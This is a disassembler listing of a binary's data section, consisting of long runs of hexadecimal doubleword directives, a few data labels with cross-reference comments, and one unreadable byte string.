		dd 89BE067Eh, 0FE2A2DF0h, 0C89ACD00h, 28F666B5h, 5DC70016h
		dd 0AA74C3C9h, 1C387E57h, 9DEE00D0h, 0B51DA4CCh, 686F01DBh
		dd 0A0AEB9F2h, 201821EBh, 0A2985ED1h, 0F55C9900h, 8C4E1347h
		dd 6679CFh, 0DADE162h, 64D732FFh, 0A8ACEF00h, 1E20611Ch
		dd 96D60391h, 0A4D0894h, 83C07B98h, 0B5F37F03h,	0C81E72B1h
		dd 93EB07h, 0B607CF1h, 80D9F66Ah, 3F69DE00h, 1178D6E2h
		dd 409D1D3Ch, 0A9428084h, 0DC1DB23Bh, 520C8EE0h, 119264F2h
		dd 0F2100EDh, 0DBF50CABh, 7000E57Ah, 8693311Ah,	48EDFF6Ch
		dd 5900A8C4h, 0AD7534B2h, 0AF004353h, 164A56EAh, 0E758ECh
		dd 55CA6BC2h, 29682B11h, 0BFAE2600h, 0D019B528h, 0FC520076h
		dd 0C62AF959h, 0D700217Dh, 0C16B4D01h, 0C54275h, 4B3605E2h
		dd 50FE0A4Fh, 0A51F7800h, 0E9277268h, 0C38C000Dh, 0DB645A5Fh
		dd 743035B3h, 0EBB030E2h, 1F1B00FEh, 0A6CD4449h, 0E800232Eh
		dd 0FBC4159Bh, 68B0A8h,	667B1034h, 593B3206h, 1F972C00h
		dd 5324F314h, 0C3E70090h, 1DE16F6Bh, 650163F4h,	0DC33223Fh
		dd 80F384CBh, 5098BC0Ch, 7CD858h, 2FD2264Ah, 0C73662CFh
		dd 2AEA0D06h, 0B92D1Fh,	42A4F18Eh, 7F519DE6h, 0B01C6C00h
		dd 4DABCFE2h, 80AC00E1h, 0C5156654h, 6A607730h,	56EC7559h
		dd 91C2003Bh, 3586338Eh, 6D144DA1h, 0CE477C3h, 21088A1Fh
		dd 70C10C6Eh, 5A11D4BBh, 0C9F42607h, 6FB56CDBh,	71864000h
		dd 78E7B521h, 1283ECCDh, 2CF03C31h, 1400460Ch, 5AAAFCEAh
		dd 2407CABh, 78B043CAh,	0D861B4F3h, 2847E6D7h, 15FB5300h
		dd 7CEC9DE1h, 480100D7h, 8419E4A5h, 0A0C0260Eh,	4DC5BB68h
		dd 0DC2B0021h, 0EC90A51Eh, 951CF597h, 9E413754h, 0DB81BD30h
		dd 0D9A8C0h, 0EFDEA3C4h, 0A7299D72h, 17636500h,	0C628764h
		dd 0C90A0369h, 0FE1D4550h, 366807DCh, 0B0EC0FA2h, 8F99C8h
		dd 0F6BD6312h, 0DAFF04F4h, 4D402A00h, 0E82EF11Bh, 0B37C0F71h
		dd 8E20886Ah, 42EEA62Dh, 0B2E00E00h, 63683FC4h,	4F21017Bh
		dd 0D2233702h, 844F3Eh,	0C6C90CF9h, 42164Fh, 0CCABAEF5h
		dd 4EC05471h, 0A329E105h, 2FC0057Ah, 0E2F61416h, 5E911FC1h
		dd 0F985008Fh, 0CA53DAE4h, 0EF90BE00h, 84289D3Bh, 8A732Bh
		dd 0F80CD723h, 98B8E8A7h, 0E720EE60h, 3A2E6D3Ch, 0CF854696h
		dd 1D6512C0h, 64475C88h, 0C4C8010h, 7BBB7E08h, 1B027901h
		dd 8463DBDEh, 12E82E8h,	71EA2B8Bh, 24F5B227h, 5000EFC8h
		dd 4DD538ACh, 1EC3D41h,	0A101DB25h, 30A7280Bh, 0E0048E14h
		dd 225A087Ch, 0F2B56480h, 584E7A26h, 1D02A669h,	4983EACh
		dd 6F32C0C0h, 0B72E3301h, 410D76D7h, 2675DE0h, 5481B6DEh
		dd 0E8605623h, 972CB7C3h, 2100644Eh, 0EC290C84h, 5F78E9h
		dd 98E35B5Dh, 26143E6Bh, 7DA57400h, 847ABFE1h, 0ADC95CB8h
		dd 0DB563F00h, 0D673A2DDh, 97384D00h, 0C6395066h, 0C42948A1h
		dd 42557F1Ch, 0F09F4EBCh, 6DA938C0h, 0B7610D00h, 0B2F335A2h
		dd 0D0EE0319h, 3677D77Ah, 0A8D62AB8h, 0D2907E00h, 70B159AEh
		dd 15F5006Ch, 8250C110h, 2007A6Fh, 0B63FE8C5h, 749D85AAh
		dd 99FB58BBh, 0CDD21201h, 0DC458641h, 445C5240h, 2707924h
		dd 757AB600h, 35E18351h, 0C69805C5h, 73443Dh, 630660E8h
		dd 793AD2EFh, 0F04783D8h, 0D8BEDB4Fh, 17314DC2h, 0C63ADDh
		dd 0ECF12DA0h, 6615A55Fh, 0F8D662h, 4F53944Eh, 13B4FAC3h
		dd 0EB3A647h, 0DFA1F0h,	9607AA02h, 0B100F01Fh, 0F1DE0A38h
		dd 12B6EB7Eh, 9BA3ABh, 63811DDCh, 8400CD74h, 7729892Ch
		dd 1D276BCh, 3A7275A1h,	0D8B09FC1h, 1C9AABDCh, 0F9C0B343h
		dd 0B634A213h, 100A48h,	464A894Ch, 177DEFCFh, 5EDDD10h
		dd 8027624Ch, 51AA98C7h, 0F2F52101h, 7B6995C5h,	18180330h
		dd 0ACE8384Ah, 5FE05579h, 4600BFE0h, 0BE1280FEh, 2EC47F6h
		dd 2D02426h, 0DE008A9h,	1D197D1Eh, 9E99688Dh, 19F0770h
		dd 0B70517E9h, 7035BCE8h, 9300AD91h, 0F8493763h, 0F06B44A9h
		dd 0BC7E009Eh, 3DB452B6h, 0E7E42284h, 0B247A700h, 8E90F7E0h
		dd 9AE80196h, 82D2A55Bh, 0ED59D0B1h, 0DFAABD00h, 0B6F6B942h
		dd 162B01B4h, 0BFAB6F36h, 1BBED86Ch, 0F107C6F2h, 0C95EE80Eh
		dd 0A5E42019h, 193BDF0h
		dd 0B04E9EFFh, 0FF2BD65Ah, 2AC090D4h, 4F0020F3h, 125EE78Ch
		dd 30E23347h, 0CC41622Ch, 34006797h, 9B045466h,	48A707h
		dd 71E7AC6Fh, 8B605291h, 1373B903h, 9A2CF56Ah, 1674C4B1h
		dd 34F2CF9Dh, 864EC09Ch, 77066582h, 0B766D526h,	58CA0519h
		dd 1C01EBh, 0A2023EACh,	5A1EC151h, 0AF8C2E56h, 0B83DB021h
		dd 736F00CCh, 0DE9C4131h, 3C90FC82h, 894F9F02h,	80385D74h
		dd 6222F590h, 0BBC803CFh, 297DFB43h, 6254C7B4h,	0FCC07335h
		dd 0AF01C290h, 1D1E4D8Bh, 0C62651Bh, 0D706C701h, 616ABCAAh
		dd 712824B5h, 0B420920Ch, 1606A93Ah, 76FD69CAh,	98995A20h
		dd 0FCEB17C1h, 0D68FF6F4h, 80801C79h, 0A414A9CFh, 0B0583AB8h
		dd 0E4E78AA8h, 2FA7F7E0h, 0C30BA08h, 8C61CF68h,	0B324FD60h
		dd 92126A78h, 4D20A040h, 0C079C56Fh, 8C2D8488h,	4C609E2Bh
		dd 76B3F6B9h, 1CFB4872h, 0C070F22Ch, 0A7607A0Ah, 9BD0B8A8h
		dd 0A3C6A4Ch, 2C1CB101h, 72EB2CE0h, 80055447h, 871000C1h
		dd 0A8185C4h, 5D2BCA2Ah, 2508302Bh, 0F30D0420h,	0D8ACC026h
		dd 0D5035DF0h, 255A784Fh, 0C848A3A8h, 17A096h, 86101454h
		dd 0CBC9E15Eh, 88435314h, 0D8A12E40h, 0EDB05A00h, 2C30A7A9h
		dd 13D4DF50h, 0C35800E3h, 0D4892788h, 0B4D94A00h, 0AF58B95Ch
		dd 3787D1Ah, 0E4FE86AEh, 31007677h, 7AFF31A4h, 3EF167ADh
		dd 17860ACFh, 20F26A86h, 0B05FA807h, 5DF0FDAEh,	9D3C4Dh
		dd 0D2A2C663h, 0D0F76FBFh, 0B8AEEE05h, 0D8D031FBh, 0A830B9EAh
		dd 96635C0h, 4078ED52h,	1326C425h, 1D303184h, 0CEFC09DCh
		dd 0A0D658A5h, 288B2Ch,	473C8E7Ch, 180396BEh, 4356F192h
		dd 2DE7F09Bh, 13B40A09h, 8C90829Fh, 62F8D28Ah, 79C18B00h
		dd 2081F959h, 0FAE20F78h, 1080503Eh, 0E6B50163h, 0A4A0D17Eh
		dd 210EADAFh, 0DF262966h, 915CCAC2h, 0B77CC099h, 1892000Fh
		dd 144B3382h, 5A03BB4Fh, 3471A0BCh, 7BA0CF31h, 0E5600156h
		dd 2C1B2C70h, 6C4615h, 2048D16Eh, 0C900849Ah, 66F19717h
		dd 26F32478h, 0F38C4C6h, 0CFCF793Bh, 0AEE26A60h, 2C507F0Eh
		dd 2D006F94h, 9FE19C28h, 56119Dh, 0CD881517h, 40FB8789h
		dd 73070470h, 9DF23235h, 1400DB9Ah, 8AE0FD71h, 59750EEAh
		dd 0BFA05E01h, 0AF95662h, 4C0E0A0h, 0A7DCF848h,	96BD3AF0h
		dd 343F01B6h, 0A3D42817h, 1643C477h, 0FCE34Ch, 9619710h
		dd 24BEABD9h, 4868FBh, 0D5982126h, 1B029296h, 7BF3F834h
		dd 72BCE09Ch, 4BB90552h, 80DBCFA2h, 83F16224h, 0D6116A60h
		dd 2E9399Ah, 2B562438h,	0C849B464h, 9832C5h, 8B91CB69h
		dd 58C2AD19h, 8807880Dh, 30A4ED4Ch, 0C01834A9h,	30E1D58h
		dd 0FC69DB41h, 0FD9C80D1h, 0A3E301F7h, 5CF2FED4h, 64DC2035h
		dd 3B51C71Ch, 2129A200h, 0A30F74h, 0A446BC42h, 482B71FDh
		dd 0DF26CBE2h, 4500A4E9h, 0B3C9180h, 68DE0DE1h,	4818EA4Ah
		dd 34002840h, 9B0D7AECh, 4057B58h, 7E2BA9D1h, 0A6E080C1h
		dd 0F67008DAh, 0D2808800h, 3E572571h, 54E35C0Fh, 849616h
		dd 0ADB98CCCh, 0B5074B78h, 9F77A5A9h, 617F1B30h, 4ECE873h
		dd 0FECD2DC0h, 0D518E0EFh, 48233888h, 1F00D82Ch, 0DAA9CDF6h
		dd 0E14B75C5h, 1A5907Ch, 643682E3h, 2F990252h, 13410EB0h
		dd 2950161h, 3F1FD268h,	0B501B85Ah, 17B81337h, 0EC304AB7h
		dd 0AB230028h, 86DF4E6Eh, 0BA39DEE4h, 9432CB8Dh, 29BC18C2h
		dd 0FEF83507h, 13D1B19Ch, 31706B02h, 3DD11D3Ah,	87088C09h
		dd 7407A9A1h, 0D8291741h, 2C61F6A1h, 0F569D480h, 0E7B37693h
		dd 4E0170B1h, 9698DA9Dh, 0C0EAB289h, 0A76CD840h, 0CACD0C04h
		dd 0CCC04752h, 3786032Bh, 200624h, 17C84C3Bh, 0D61F8CB2h
		dd 0F4661925h, 75EE8B80h, 7122F36Bh, 4FCB0051h,	0DC7B3ED9h
		dd 552CD2C0h, 0EB019C9Dh, 0A426DE6h, 9BA3987h, 2678FBDh
		dd 28D6B6ABh, 6346C418h, 3004C999h, 8A312F20h, 4F0B74EDh
		dd 0A257F6AFh, 25C18108h, 7A30CCE2h, 9DC7049h, 0C46196D2h
		dd 17DA0004h, 7F5FD6DBh, 0AC9CB31Eh, 62507C00h,	7FA57B8h
		dd 824B9C26h, 0DE0FB1EEh, 6AC42021h, 61CE2E17h,	33402800h
		dd 1C233995h, 0C6BA5BB4h, 89BEC864h, 24F37503h,	573DBE7h
		dd 93B04DB9h, 0DD4C20D0h, 43064786h, 77A0AEBAh,	16009E28h
		dd 0D6F8389Bh, 4979AE00h, 4722F1Dh, 420B2E9h, 0CE1E235Fh
		dd 674E239h, 7AC9D2C4h,	91B90A90h, 9FA89713h, 5DDA0B8Eh
		dd 7E247064h, 602CC875h, 0DC345802h, 20114039h,	0B53E3AD8h
		dd 6A7216h, 87E3CF8Ch, 770008E1h, 0ED4D89D2h, 3CAD50A8h
		dd 8502C238h, 9047A713h, 7ABE000Eh, 3F210178h, 811ACD1Ch
		dd 0AF404836h, 6E2C9566h, 99088C8Ch, 0D2889349h, 0B050753Ch
		dd 3863DD0Ah, 0CB87A413h, 3B146F9Bh, 0A1F334C0h, 5D7D0051h
		dd 0E0CDFA29h, 0A22C3E8Eh, 4F90A406h, 0B717D887h, 0C88D93D6h
		dd 3C669388h, 0E00D3900h, 514C7B4h, 6F6E273h, 47F55DE2h
		dd 5700A422h, 1CA434DBh, 0B09B3EB0h, 0CE0A0078h, 874AD3C8h
		dd 0E9074049h, 99DE4348h, 0A26CBBC0h, 1476004Fh, 2D92F47Fh
		dd 0CD037A93h, 3C501F6Bh, 0AFC4D0D7h, 35CA138Ch, 15E20136h
		dd 206C708Dh, 0DA0334ACh, 4DA6C337h, 0C41BA8ACh, 92AF3D23h
		dd 5219680h, 0FA9A0EB1h, 0C5011E00h, 3B7934C0h,	0EFAA3F36h
		dd 4023AF13h, 88CE9738h, 0AC50D21Bh, 130E6DC8h,	0AA031Fh
		dd 0B19FBCBFh, 18ACB0F3h, 783276D7h, 6A0725D8h,	234F8024h
		dd 3DC2EF10h, 77091F0Dh, 0E1D74087h, 5DE61E68h,	7513B0F8h
		dd 5C40AC88h, 5B714D5Fh, 0B16500BDh, 0AE49607Eh, 0F488568h
		dd 7FBB0054h, 0B4831879h, 60B8B6h, 540D5D0Ah, 86B1B73Ah
		dd 0BF1A5900h, 43CCF1E8h, 919700D8h, 0F204D242h, 9F1FBDA2h
		dd 8E005AEFh, 0D08836DEh, 0D62A00F5h, 59D1D413h, 249260ECh
		dd 0C570DB48h, 888035EDh, 7AC63773h, 0D1DD074Fh, 70B02944h
		dd 657948B8h, 0ED7CBCE0h, 8903E8B0h, 5141D637h,	1D980096h
		dd 0C2037A70h, 0AB0134FBh, 0DF4BF49Fh, 0E47056A2h, 0E758B76Dh
		dd 0C874D500h, 0C1D82F5Ch, 0E688908Bh, 81CD24D9h, 9A378060h
		dd 7D0DF622h, 4BAABF01h, 946DBDD5h, 179F70D4h, 7B48821h
		dd 0F0DFA4E0h, 0B6381EBh, 2E90D400h, 0CEF6EC02h, 4CB20FFFh
		dd 45875D51h, 0EEB91036h, 880040B6h, 0CDE0ABF8h, 0E26157Eh
		dd 57980FADh, 3844403Eh, 0E9495C2Bh, 8811AE00h,	0F78084C5h
		dd 585100CFh, 0D483A0DBh, 3401740Fh, 77D8B82Fh,	0A3D487CBh
		dd 8C540680h, 0D6E584EBh, 0FC6B1828h, 8F0032F4h, 4A4FF1Ah
		dd 0BC1C7390h, 0EE8E0034h, 66095D79h, 0B752F200h, 8C191D59h
		dd 2F927FD1h, 54274702h, 26EF307Fh, 7A2473E1h, 0C50458ABh
		dd 2CF0776Bh, 85F00A8h,	0E07CF367h, 0A226C738h,	600364Ah
		dd 0A148F090h, 619403BAh, 7F184011h, 304CDCA1h,	0CF0164DCh
		dd 4582F681h, 7D4141Ch,	0DF6E126Ah, 0C5D501D5h,	705195B9h
		dd 8E1B2BFCh, 0C2480E16h, 0C1126079h, 9C9E00DEh, 0EE2FB451h
		dd 6094952h, 181258Eh, 0B5CA9A7Ch, 73D0DFCh, 0B482C62Bh
		dd 27F960A1h, 6C77B115h, 61288C03h, 0D853804Fh,	1C9F824h
		dd 406D9A9Dh, 3BE71316h, 94C7AF0h, 4F108217h, 9A669481h
		dd 223860B5h, 707C9504h, 248044DFh, 26C73DDAh, 0BFC5FCCh
		dd 14004B59h, 0FA726815h, 0DF3CBD70h, 81FD3D57h, 558163F1h
		dd 9DECD8C5h, 31AE0735h, 0A3A19A23h, 0A28FB3D0h, 888048BEh
		dd 0EB4330F6h, 0CF91BB00h
		dd 6A7C0BC6h, 8C2C0960h, 0B00026C3h, 57E4E92Bh,	595B9D00h
		dd 0D0D312CDh, 90894A44h, 2FBBBFACh, 0AE6DF109h, 0CC505Ah
		dd 9CB92DD0h, 1531A647h, 821ABD3Ah, 3D121E7Bh, 84C08105h
		dd 2430BCC8h, 323E00C7h, 0AABED063h, 2200769Ah,	95DE207Fh
		dd 0B8E856ACh, 0BB58002Ch, 1C1E5D44h, 0F0503FD0h, 5FB0DCD0h
		dd 0D0805528h, 859A6A1Dh, 0FB0DDD40h, 76845296h, 0F7C90771h
		dd 703C80E4h, 5F30F85Dh, 8023503Dh, 6D99C7F4h, 103E6Ah
		dd 86B6E3E6h, 0E81D575Ah, 405122h, 90856A36h, 0ED5DACC1h
		dd 0BB0A1E00h, 6C07B7D5h, 0FF701213h, 91BC0188h, 0E4D10F99h
		dd 6071BC4h, 0DBD3849Eh, 3E21803Fh, 1481F9FEh, 0F068FA52h
		dd 0BD28D00h, 0FF8B8FD0h, 44438h, 5C60A188h, 2C2DABD3h
		dd 0E8F67Ch, 72D275CDh,	0AC78E831h, 0F0019F12h,	80C6DD09h
		dd 0B0C17CF0h, 3E930047h, 0DEFC3D9Dh, 1C006CF2h, 66D188EAh
		dd 4CD9C2EEh, 9F024876h, 0B4118116h, 0B05D7C60h, 92003190h
		dd 0E48A132h, 0BEF8FCh,	0F528568Bh, 0A9221729h,	9A944B02h
		dd 0FD6E834Eh, 0AC09EAE0h, 4DAAB83Dh, 889921C8h, 27001CA1h
		dd 2CA3A7E4h, 301EE45h,	5EF04FE3h, 681C1C8Bh, 0DA80327Bh
		dd 2AF6672Bh, 0CB7727Ah, 0EA91FE76h, 9D098059h,	0A06EE0ECh
		dd 35AD4AB0h, 0E120752h, 0D072AF96h, 0CBD010F7h, 3B7F4200h
		dd 0F976C239h, 1E88BAB1h, 8022B67Bh, 0D6EBBA2Ah, 6C24E572h
		dd 0A716A8C6h, 18C080D5h, 698A01Eh, 4069E70Fh, 0EC0C4002h
		dd 0FE59C3CDh, 80A260B9h, 0B4AF6FEDh, 650338B8h, 3169DA0h
		dd 42EB8871h, 6D8F0099h, 0B0533FE1h, 0EE001D65h, 2C73EC8Bh
		dd 136E93h, 0E2B2E6Bh, 796D821Fh, 0C747F40Eh, 0A1CE2202h
		dd 3D28606Eh, 7C0097D4h, 0A884B85Bh, 7B20100h, 93C7DE3Ah
		dd 0A590A0DAh, 44470073h, 0B9BBE718h, 33005D8Ch, 0A6D10430h
		dd 4A76A3h, 386C1B1Eh, 0CD324611h, 0A7BC8900h, 2133FF43h
		dd 0A97800BDh, 0ADE3094h, 913F1D8Dh, 23078053h,	0F4204CA0h
		dd 94C400F1h, 9E116568h, 707C8351h, 2DA75A00h, 0BEF31BCCh
		dd 7462048Eh, 0A00FDD23h, 0FC04385Ch, 1B200E9Bh, 6EAA0881h
		dd 926C7EF8h, 29E200h, 22B5E110h, 83267AC3h, 0BADB2339h
		dd 0F04280E3h, 7F019746h, 0DD861235h, 5814443Ch, 0B900A030h
		dd 0F01C4C16h, 517D2200h, 50A7C263h, 0B22DC09h,	96B327CAh
		dd 8E3BEC80h, 3718B5DDh, 0BA200172h, 48117EF5h,	83162C74h
		dd 8DF301E6h, 6CF21AA3h, 3182150h, 19CA2391h, 3A761000h
		dd 0FA164CDAh, 0C050F7Bh, 0E3475ED0h, 0D9F7903Bh, 4A079AECh
		dd 0D35D6176h, 0C7B73E50h, 16A209DCh, 5048F07Ah, 0AC00FD4Eh
		db 40h
byte_504341	db 75h,	61h, 0FCh	; DATA XREF: ___:off_434D0Co
aAT		db '·íØtµ',0
		dw 5801h
		db 0BDh, 4Ch, 7Ah
byte_50434F	db 0F2h			; DATA XREF: ___:off_434D08o
		dd 0C4B06754h, 53F65001h, 0C869C2DFh, 1EE037D4h, 0C0AECB3Fh
		dd 0CD213DB2h, 1600B62Ah, 0DCE11DFBh, 4C56954Fh, 0CE03F252h
		dd 43843FCBh, 0A4EAB398h, 0A7B63714h, 7C913BC3h, 0BAE0204h
		dd 0C4C07A97h, 98FEA0Dh, 75E28EEFh, 60F69401h, 582C31h
		dd 119A903Dh, 90D0F4Eh,	0BD54B595h, 1C39D980h, 3500FF50h
		dd 3B14F85Ch, 0FA51E9Dh, 65537FABh, 3E2CF322h, 0C440005Eh
		dd 0FE0B12A7h, 35F207E1h, 0C1779DBFh, 402DFA99h, 4FC358B0h
		dd 0E52FA9B8h, 0D1B88097h, 263564DCh, 77CB116h,	60F0BF6Ah
		dd 0CF38F82Ah, 43F74325h, 0CB36A8FCh, 0A01BFC11h, 29331E8h
		dd 0E8A1F09Eh, 8460A8A6h, 3409D38Fh, 82123F64h,	213A686Ch
		dd 2431B957h, 2703DA68h, 0CB74CAEh, 424800A9h, 4836608Eh
		dd 751201F7h, 48C2F292h, 0D5BB6021h, 62330483h,	0C08E4656h
		dd 0B54A53C0h, 0ACDD20h, 7EF6EB99h, 3F61FC4Fh, 0AFE29D00h
		dd 0F3E9785h, 9EF700E5h, 455436Dh, 6839A5DAh, 4F9507C3h
		dd 50B0189Fh, 0C0944175h, 19DBD7E8h, 5D09D5D8h,	0A0A30452h
		dd 0B00F4D80h, 1E3C0098h, 358C6077h, 92498E94h,	0DCFA018Ch
		dd 0E57B5FDDh, 0CC396831h, 0C085EF80h, 0F09968BDh, 28809E93h
		dd 2678EA26h, 80C8FC54h, 375BEDF0h, 0DC0E3CDFh,	0A09C3F97h
		dd 0E95AC29Ah, 1C4D007Bh, 5B82FD98h, 0A1C0CCDEh, 2AA49358h
		dd 90310086h, 0EDD298Ah, 4C0098FAh, 0B51E6D80h,	5EE09C6h
		dd 0F092F294h, 54CA05Bh, 0AC7988h, 0B27EA297h, 53E7509Fh
		dd 0BA58E200h, 76BFD76h, 7DEB3970h, 16DB909Ch, 91CC80D8h
		dd 0E4A017C2h, 5B007F2Ch, 0C5360A63h, 4FA22AFCh, 0C840098h
		dd 7E9B0FB2h, 0BB84253Ah, 341E5BF4h, 0DDFA6EC0h, 71E688h
		dd 9CD937D2h, 13510C98h, 0C75B82FEh, 0FC00545Ch, 0F360A66Eh
		dd 0BCA448F9h, 84FF4528h, 7FD606ACh, 0D9B5F572h, 16AA6F00h
		dd 0F2770CB6h, 70A8C319h, 0D39061C3h, 501DD908h, 494058FDh
		dd 941D2262h, 8C9000D1h, 6C9CC914h, 95005240h, 1C67B11Eh
		dd 2369D27h, 0C1B248D6h, 2660F769h, 1E3A770Ah, 0E281007Bh
		dd 3970CD1Dh, 0E3BEE48h, 0FA69E0B2h, 90D0E387h,	5AAB5818h
		dd 8ACB861Ch, 0E5280FC0h, 1846AE2h, 0E6CD4446h,	0D429A0A2h
		dd 0E1009E3Dh, 631FC74Eh, 1B7F94h, 5C165D72h, 37FD79FBh
		dd 3606C12Eh, 199C0Bh, 0D3E8B71Dh, 7FE42784h, 4591B482h
		dd 9D803662h, 81CEB5Bh,	0C348B925h, 0C8DDD020h,	3E090F79h
		dd 9F40DA2Ah, 0F9CB3B8Ah, 2797E600h, 86F74759h,	55A403B7h
		dd 0B8AACDD2h, 74503DF2h, 0C0A27C09h, 0EBA02069h, 3A334588h
		dd 3F0CA8EEh, 0ED18D018h, 2C7CB07Ch, 9CA36114h,	135818h
		dd 0A0915E26h, 0E881607Dh, 0DF8F0E71h, 0B76304D6h, 43E0E505h
		dd 2B0179D7h, 584598F0h, 0E1AC8029h, 0C0901FECh, 961EC27Fh
		dd 0DB0045C8h, 0DF650BBDh, 629EFE5h, 691D6849h,	72026062h
		dd 0E2FD4660h, 5A7068DBh, 0A8800026h, 0ACD888E3h, 0CC0A890Bh
		dd 346AB7AAh, 0DBE1FF03h, 0FE0C6EBh, 0D428DF4Eh, 0F98D409Eh
		dd 501234EDh, 2483480Fh, 3D5C809Ch, 0E94638h, 9B05CE7Eh
		dd 0B1F10640h, 0F0B30E0Eh, 0CB4960B8h, 7D176C9h, 0BD1ED0D7h
		dd 0E4810DFh, 3DFE85ADh, 71A24A00h, 0BC962BB8h,	83D40089h
		dd 0E3E45377h, 183D5023h, 376E9EDAh, 67443D00h,	3AC208CFh
		dd 4100D23Bh, 5D29E2BEh, 4507DEE7h, 718BE54Ch, 0E8DC9B40h
		dd 0D4121CC5h, 0FA530028h, 0A56906E2h, 0D64CCA00h, 0D505DB8Fh
		dd 0C5EA007Ch, 9C52B3DFh, 6D009D26h, 29884F37h,	2AA276Ch
		dd 0A63D1934h, 0A8A0E509h, 23E0CF54h, 6A63B51Fh, 8C41AC5Fh
		dd 884D9439h, 6D41A410h, 0FBE4351Dh, 47CEF1Ch, 306586C2h
		dd 4ED62C90h, 35760078h, 874734A6h, 557912E9h, 0DA03BEFEh
		dd 0C12B5919h, 7300386h, 956D3FECh, 0FDCA6007h,	0D4F13B08h
		dd 998EEA0Ah, 70A0802Fh, 0EE048B63h, 1A829A1Fh,	0F20FA6C0h
		dd 95BB410h, 6FC04007h,	0E18E5023h, 0CBF7E3A8h,	0B44EB200h
		dd 0EAC2A351h, 55190D5Ah, 0ECD1814Dh, 0FE0302E6h, 3FCDA212h
		dd 0D0C2A1D5h, 30F3A7D4h, 0F029874Dh, 5C0069A8h, 97D8CCE3h
		dd 1AF504h, 33E867E6h, 0C8A1956Ch, 40054906h, 78972BFh
		dd 394CF475h, 746890AAh, 0B1716359h, 285465ECh,	0CD7D7D98h
		dd 262FBE00h, 0DC0FFFC4h, 0A848FBB5h, 98320F83h, 87E00746h
		dd 3B28A885h, 0CA6AFB0Fh, 30EA60CBh, 0D09FFBEh,	530173D9h
		dd 50DDE139h, 0D6C83DA0h, 0BB9B6106h, 3E212C65h, 0A9805D73h
		dd 0B60434BCh, 0BF0C1FD2h, 39F90AD6h, 0B857C33h, 9EA1787Dh
		dd 17ED6700h, 0F703C090h, 4F618255h, 64D69865h,	95EEA7Bh
		dd 693CA6A0h, 1D2A2780h, 8AF2FE04h, 0F7CD1B00h,	31D270DCh
		dd 963E1CE7h, 0C7564E0Ch, 0E3A09A03h, 5D892900h, 7E7D57CEh
		dd 0B69B01F1h, 0FF2ACFF6h, 7A2083FDh, 0F892E631h, 3A37AF02h
		dd 1E001A05h, 71A6CAEEh, 0AB752206h, 8D0E42B8h,	8CC69F97h
		dd 3F86088Fh, 0CC39449Eh, 6030D737h, 3EDEA992h,	52299A07h
		dd 0E80041Fh, 3AAEEFDBh, 8E011EC4h, 99655DCEh, 861080C5h
		dd 0B65CEBEAh, 891F0341h, 7EA18F31h, 84C0AEDAh,	7300E504h
		dd 1B9368D6h, 377466ADh, 20E07A0Ch, 1F8B9045h, 0E0D011DBh
		dd 3E85CBDh, 0EF88F3C6h, 0DCA0FD0Bh, 807AAB12h,	8AF0091Fh
		dd 81FA0F0Fh, 7DEE159Bh, 7EF118E9h, 33CBCEE0h, 8D10DF7Fh
		dd 4BAAE0F0h, 203F27Bh,	0DAB38444h, 0FE07D886h,	0C6A7007Fh
		dd 1AE989EDh, 0EF787DECh, 0EB8FFD03h, 0C18CFA16h, 74D3F9E6h
		dd 0A98D1F30h, 871D09h,	0DC82DEC6h, 3A1CF614h, 3C1415F3h
		dd 0EB049164h, 0D4730CBEh, 0C85108Bh, 1E72F67Bh, 0D2003B21h
		dd 0BFA3E369h, 0CC9C8ECAh, 5B213609h, 40369F6h,	0B69931C9h
		dd 149BC877h, 0C23400A0h, 2C05226Ah, 5A0335FCh,	38A8B3AEh
		dd 0B81876BEh, 285CB054h, 6044272Bh, 0ABED5929h, 220003FCh
		dd 0D0A33F0Dh, 3B9ED6FBh, 0F03274Eh, 92869028h,	0DB1038C9h
		dd 99A682F8h, 0D9F19F33h, 2E1C0E4h, 9A11C07Eh, 47A4E05h
		dd 1FAF230Ch, 0C38F81FBh, 4DFDC121h, 3FA786F8h,	6083DC33h
		dd 0C49F81A8h, 718B1000h, 0AA6320h, 0DDE8C67Ah,	3EFF2FD9h
		dd 0CF277E0Eh, 21BA8C3Fh, 0DDE001ECh, 0AC183035h, 1A50819Ch
		dd 6C8B115Bh, 8E32448h,	0D72FD4DDh, 0E740C1C4h,	4DA9DDDBh
		dd 4596FB00h, 0A498BBAFh, 4C8C2843h, 0A01538ACh, 7218D720h
		dd 0B540CEE0h, 0A852540Fh, 665E47Bh, 34171E62h,	77FD0ABh
		dd 2631A002h, 997B226Eh, 0C019DC9Ch, 410754Eh, 8EC8AEFBh
		dd 4DF8BC80h, 0E02BAC6Bh, 0EA90C136h, 26F77B84h, 69D30224h
		dd 31C7A3E4h, 0CB5C1033h, 3DE50069h, 44AED78Bh,	8C62080Fh
		dd 48B58FA8h, 381AF410h, 11E08ECCh, 13E75AAh, 9F6F141Dh
		dd 9E5F0BC7h, 21A2B6h, 503E6DCCh, 20D6E6D0h, 48B8141Eh
		dd 79C294E8h, 0A0A8321Bh, 4F102DB4h, 928900FBh,	811C3A26h
		dd 0E3E1301Ah, 10358806h, 3B20FAC9h, 8A9E9B85h,	588911Ah
		dd 81B44829h, 0EE1BF403h, 79B005AEh, 133343Ch, 0CCD80D8Ch
		dd 7B809FBBh, 0FB839885h, 0A0A5BC23h, 0D0AE5CB0h, 0DB23C420h
		dd 744DFF01h, 9518F304h, 76F7BB88h, 6FAB034Dh, 96A891DAh
		dd 0C018A4F8h, 5EA0BC62h, 44B4448Bh, 15007E26h,	0B2CF68FFh
		dd 14D644B9h, 0A81640C7h, 0A47FCE0Eh, 48B3E805h, 0A5809DC4h
		dd 3B9F49AAh, 0B8AB0089h, 64F004D5h, 0B2021FE7h, 3846630Ah
		dd 8FACA3E3h, 9739009Ah
		dd 0B6F7F814h, 910018CFh, 15E1AEDEh, 1B8D06Ah, 9E3EFEA9h
		dd 83210DB5h, 842F44A1h, 0C8009BBh, 0D8100438h,	4000CEA7h
		dd 7FC19D1Fh, 810A24h, 924DBDB9h, 6928B2B6h, 88966CECh
		dd 0F7723F03h, 0F8CBC1DAh, 0D78A0887h, 821B8E4h, 99FED500h
		dd 0C0B9634Ch, 0AD4D83C1h, 0C80750DFh, 3B162B46h, 455DE1BFh
		dd 4BEC7872h, 2FD30A75h, 11DC3F8Fh, 4E0380DFh, 43130478h
		dd 799422AFh, 434D00BFh, 0E9B5DADDh, 14121397h,	544198B0h
		dd 4ED82BA3h, 4C5BF424h, 6D2344F2h, 0D5DDE401h,	0BF18DF2Fh
		dd 0FDCE888h, 0E04099DDh, 9A3836A0h, 81C17C9Eh,	0D1482A76h
		dd 61E26C25h, 131060C8h, 0C8600CD8h, 5B27DA88h,	810D01BEh
